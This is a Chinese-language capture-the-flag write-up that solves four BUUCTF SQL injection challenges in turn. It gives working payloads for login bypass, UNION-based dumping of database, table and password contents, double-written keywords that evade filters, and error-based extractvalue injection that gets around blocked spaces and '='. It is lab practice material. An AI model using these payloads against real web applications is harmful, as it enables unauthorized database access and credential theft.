BUUCTF—极客大挑战sql注入题

EasySql

尝试万能密码登录

flag直接显示出来了

flag{c87ced50-5e7f-405c-bbc3-044615494dac}

Love sql

依旧尝试万能密码

查看地址栏发现是以get方式传参，那就好办多了

判断列数

check.php?username=admin' order by 3%23&password=123

order by 3的时候还没报错，当为4的时候报错了，那么可以得到列数为3
下面就进行联合注入查询即可：
判断回显点
2，3均可利用

check.php?username=-1' union select 1,2,3%23&password=123

1、爆数据库

check.php?username=-1' union select 1,database(),3%23&password=123

2、爆数据表

check.php?username=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='geek'%23&password=123

爆出了geekuser和l0ve1ysq1这两张表

3、爆列名

盲猜我们要的flag在geekuser这张表中

check.php?username=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'%23&password=123

3、爆值

check.php?username=-1' union select 1,group_concat(password),3 from l0ve1ysq1%23&password=admin

BabySQL

根据提示，肯定过滤了一些字符，测试：

select、or、where、空格、and、union、from等都被过滤了

尝试双写绕过

判断列数

check.php?username=-1' ununionion selselectect 1,2,3%23&password=admin

1、爆数据库

check.php?username=1' ununionion selselectect 1,database(),3%23&password=admin

2、爆表名

check.php?username=1' ununionion selselectect 1,group_concat(table_name),3 frofromm information_schema.tables whwhereere table_schema='geek'%23&password=admin

报错了，报错信息显示information中的or没有显示，我突然想起来or也被过滤了，也双写以下就行了

3、爆列名

check.php?username=1' ununionion selselectect 1,group_concat(column_name),3 frofromm infoorrmation_schema.columns whwhereere table_name='b4bsql'%23&password=admin

4、爆值

check.php?username=1' ununionion selselectect 1,group_concat(passwoorrd),3 frofromm b4bsql%23&password=123456

hard sql

先fuzz测试一下

空格，union，and，=，/**/,+,等等都被过滤了
显然联合查询注入不能用了，报错注入的函数没被过滤，我们试一下

1、爆数据库

空格我们用()包裹

'or(extractvalue(1,concat(0x7e,database(),0x7e)))#

2、爆表名

= 我们用like绕过

'or(extractvalue(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')))))#

3、爆列名

'or(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1’)))))#

4、爆值

'or(extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)))))#

79a8e7c9-cb72-406b-8561-dc
只显示了一部分，我们把右边的flag也爆出来

'or(extractvalue(1,concat(0x7e,(select(group_concat(right(password,20)))from(H4rDsq1)))))#

flag{cceadf67-c8fe-41b9-8e3f-ead6beb68b4c}